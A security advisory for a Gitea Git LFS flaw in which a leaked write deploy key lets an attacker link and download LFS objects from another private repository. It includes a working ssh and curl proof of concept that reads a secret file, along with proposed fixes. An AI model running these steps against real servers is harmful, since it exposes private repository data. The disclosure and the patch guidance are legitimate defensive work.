Advisory

GHSA-rh79-75qm-gwjr

Details, part 2 of 2. The advisory

Details

Environment

The issue was reproduced using gitea/gitea:1.25.5 docker image.

Setup (performed as victim/admin — represents normal deployment state)

# 1. Victim creates a private repo and uploads an LFS object
git clone http://victim:PASSWORD@localhost:3000/victim/secret-repo.git
cd secret-repo
git lfs track "*.bin"
echo "TOP SECRET: password is hunter2" > secret.bin
git add .gitattributes secret.bin && git commit -m "secret"
git push && git lfs push origin main

# Note the OID and size from:
git lfs pointer --file=secret.bin
# oid sha256:1d4fed31944373fcc761b70a2efc4a9731bc3a007c63ecee22ccd5b93bb6483b
# size 32

# 2. Victim creates ci-repo and registers a write deploy key
#    (via UI: ci-repo → Settings → Deploy Keys → Add Deploy Key → enable write access)
#    Attacker holds the corresponding private key (e.g. leaked from CI config)

Exploit

# Step 1 — Obtain JWT via SSH using only the deploy key (no victim credentials)
ssh -i ~/.ssh/deploy_key -p 2222 git@localhost \
  "git-lfs-authenticate victim/ci-repo upload"
# → {"header":{"Authorization":"Bearer eyJ..."},"href":"..."}
# Decode payload: {"RepoID":3,"Op":"upload","UserID":4,...}
#                                              ^^^^^^^^ victim's UID — BUG

JWT="eyJ..."
OID="1d4fed31944373fcc761b70a2efc4a9731bc3a007c63ecee22ccd5b93bb6483b"
SIZE=32

# Step 2 — Confirm attacker is blocked from secret-repo directly
curl -s -H "Authorization: Bearer $JWT" \
  "http://localhost:3000/victim/secret-repo.git/info/lfs/objects/$OID"
# → {"Message":"Unauthorized"}  — correctly blocked

# Step 3 — Batch upload to ci-repo claiming the secret OID
curl -s -X POST \
  -H "Authorization: Bearer $JWT" \
  -H "Accept: application/vnd.git-lfs+json" \
  -H "Content-Type: application/vnd.git-lfs+json" \
  "http://localhost:3000/victim/ci-repo.git/info/lfs/objects/batch" \
  -d "{\"operation\":\"upload\",\"transfers\":[\"basic\"],\"objects\":[{\"oid\":\"$OID\",\"size\":$SIZE}]}"
# → {"objects":[{"oid":"1d4fed...","size":32}]}  — NO "actions" field
#   server silently linked the OID to ci-repo without demanding proof of possession

# Step 4 — Download the secret via ci-repo
curl -s -H "Authorization: Bearer $JWT" \
  "http://localhost:3000/victim/ci-repo.git/info/lfs/objects/$OID"
# → TOP SECRET: password is hunter2

Expected output

Step 2:  {"Message":"Unauthorized"}          ← blocked from secret-repo
Step 3:  {"objects":[{"oid":"1d4fed...","size":32}]}  ← no actions = silently linked
Step 4:  TOP SECRET: password is hunter2     ← exfiltrated via ci-repo

PoC files

  • poc.sh — end-to-end PoC using real SSH deploy key

Recommended Fix

A proper fix might require significant architecture change. A short term recommendation is presented below:

Fix 1 — `services/lfs/server.go:267` (defense in depth, immediately effective)

Remove the LFSObjectAccessible cross-repo shortcut. Require proof of possession (the normal upload flow) for any object not already linked to the target repo. The JWT is correctly scoped to one RepoID; authorization decisions about *other* repos should not be made using the JWT UserID.

// BEFORE (vulnerable):
if exists && meta == nil {
    accessible, err := git_model.LFSObjectAccessible(ctx, ctx.Doer, p.Oid)
    if err != nil {
        log.Error("Unable to check if LFS MetaObject [%s] is accessible: %v", p.Oid, err)
        writeStatus(ctx, http.StatusInternalServerError)
        return
    }
    if accessible {
        _, err := git_model.NewLFSMetaObject(ctx, repository.ID, p)
        if err != nil {
            log.Error("Unable to create LFS MetaObject [%s] for %s/%s. Error: %v", p.Oid, rc.User, rc.Repo, err)
            writeStatus(ctx, http.StatusInternalServerError)
            return
        }
    } else {
        exists = false
    }
}
// After (safe):
if exists && meta == nil {
    // Do not use ctx.Doer for cross-repo decisions — the JWT only authorizes
    // access to this repo. Always require proof-of-possession for objects
    // not already linked here.
    exists = false
}

The client will re-upload the bytes (which are hash-verified).
Performance cost: one redundant upload per cross-repo object. Security gain: the cross-repo trust boundary is enforced regardless of how the JWT was issued.

Full patch: fix1.patch

Fix 2 — `routers/private/serv.go:275` (fix the source)

Stop embedding repo.OwnerID in the JWT for deploy keys. Options:

  • Add a DeployKeyID field to the JWT Claims struct; teach handleLFSToken to construct a minimal synthetic principal with exactly the deploy key's permissions (single-repo, mode-limited).
  • Or mint a separate JWT type for deploy keys that server.go treats as repo-scoped only, refusing to use it for cross-repo operations.

Patch provenance: AI-generated + Human-reviewed

Attribution

This vulnerability was discovered by Claude, Anthropic's AI assistant, and triaged by Adrian Denkiewicz at Doyensec in collaboration with Anthropic Research.

For CVE credits and public acknowledgments: Doyensec in collaboration with Claude and Anthropic Research.

Sources & licences